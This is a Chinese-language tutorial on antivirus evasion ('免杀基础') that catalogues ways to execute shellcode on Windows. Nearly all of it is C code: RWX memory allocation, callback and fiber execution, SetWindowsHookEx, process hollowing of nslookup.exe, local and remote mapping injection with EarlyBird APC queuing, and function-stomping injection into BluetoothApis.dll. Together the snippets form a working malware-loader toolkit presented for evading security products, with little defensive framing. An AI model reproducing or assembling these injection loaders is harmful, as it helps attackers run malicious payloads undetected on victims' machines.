免杀基础-常见shellcode执行方式
字数 669 2025-08-22 12:23:06
Shellcode执行方式全面指南
1. 基础内存分配与执行
1.1 基本内存操作流程
DWORD dwOldProtection;
LPVOID lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(lpMem, shellcode, sizeof(shellcode));
VirtualProtect(lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
1.2 回调函数执行
通过Windows API的回调机制执行shellcode:
EnumThreadWindows(NULL, (WNDENUMPROC)lpMem, NULL);
注意:
- 只能在本地进程中使用
- 更多API参考:AlternativeShellcodeExec
2. 纤程(Fiber)执行
纤程是用户态的轻量级线程:
ConvertThreadToFiber(NULL);
LPVOID lpFiber = CreateFiber(sizeof(shellcode), (LPFIBER_START_ROUTINE)lpMem, NULL);
SwitchToFiber(lpFiber);
特点:
- 所有纤程平等,无主从关系
- 任一纤程返回将导致程序退出
3. SetWindowHookEx注入
利用Windows消息钩子机制:
HHOOK hhk = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)lpMem, NULL, GetCurrentThreadId());
MSG msg;
PostThreadMessage(GetCurrentThreadId(), WM_USER, 0, 0);
PeekMessage(&msg, NULL, 0, 0, PM_REMOVE);
UnhookWindowsHookEx(hhk);
4. 进程镂空(Process Hollowing)
4.1 基本流程
- 创建挂起进程:
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
- 获取线程上下文和映像基址:
CONTEXT context;
context.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &context);
// x64
ReadProcessMemory(pi.hProcess, (PVOID)(context.Rdx + (sizeof(SIZE_T)*2)), &RemoteImageBase, sizeof(PVOID), NULL);
// x86
ReadProcessMemory(pi.hProcess, (PVOID)(context.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
- 镂空原进程:
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase) {
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase);
}
- 写入新PE文件:
LPVOID lpMem = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase,
pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- 修改入口点并恢复线程:
// x64
context.Rcx = (SIZE_T)((LPBYTE)lpMem + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
// x86
context.Eax = (SIZE_T)((LPBYTE)lpMem + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
5. 映射注入(Mapping Injection)
5.1 本地映射注入
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE,
NULL, sizeof(shellcode), NULL);
LPVOID lpMem = MapViewOfFile(hMapping, FILE_MAP_WRITE | FILE_MAP_EXECUTE,
NULL, NULL, sizeof(shellcode));
memcpy(lpMem, shellcode, sizeof(shellcode));
EnumThreadWindows(NULL, (WNDENUMPROC)lpMem, NULL);
5.2 远程映射注入
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), NULL, NULL, false, NULL, NULL, NULL, &si, &pi);
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, false, pi.dwProcessId);
LPVOID addr = MapViewOfFile2(hMapping, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
5.3 映射注入联动EarlyBird
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
QueueUserAPC((PAPCFUNC)addr, pi.hThread, 0);
ResumeThread(pi.hThread);
6. 函数篡改注入(Function Stomping Injection)
6.1 本地注入
LPVOID sacrificedAddr = GetProcAddress(LoadLibrary(L"bthprops.cpl"), "BluetoothFindDeviceClose");
VirtualProtect(sacrificedAddr, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
memcpy(sacrificedAddr, shellcode, sizeof(shellcode));
VirtualProtect(sacrificedAddr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
typedef void (*BluetoothFindDeviceClose)();
BluetoothFindDeviceClose pFunc = (BluetoothFindDeviceClose)sacrificedAddr;
pFunc();
6.2 静态库方式
#include <bluetoothapis.h>
#pragma comment(lib,"Bthprops.lib")
LPVOID sacrificedAddr = &BluetoothFindDeviceClose;
// 后续操作同上
6.3 远程注入
- 创建挂起进程并加载目标DLL:
TCHAR* szDllPath = _wcsdup(L"BluetoothApis.dll");
LPVOID lpDllPath = VirtualAllocEx(pi.hProcess, NULL, _tcslen(szDllPath)*sizeof(TCHAR)+sizeof(TCHAR),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, lpDllPath, szDllPath, _tcslen(szDllPath)*sizeof(TCHAR)+sizeof(TCHAR), NULL);
LPVOID lpLoadLibrary = (LPVOID)GetProcAddress(LoadLibraryW(L"kernel32.dll"), "LoadLibraryW");
CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)lpLoadLibrary, lpDllPath, NULL, NULL);
ResumeThread(pi.hThread);
- 篡改目标函数:
LPVOID sacrificedAddr = GetProcAddress(LoadLibrary(L"BluetoothApis.dll"), "BluetoothFindDeviceClose");
VirtualProtectEx(pi.hProcess, sacrificedAddr, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
NtWriteVirtualMemory(pi.hProcess, sacrificedAddr, shellcode, sizeof(shellcode), &byteWritten);
VirtualProtectEx(pi.hProcess, sacrificedAddr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)sacrificedAddr, NULL, NULL, NULL);
WaitForSingleObject(hThread, -1);
注意:确保目标DLL已加载到远程进程,且函数地址正确。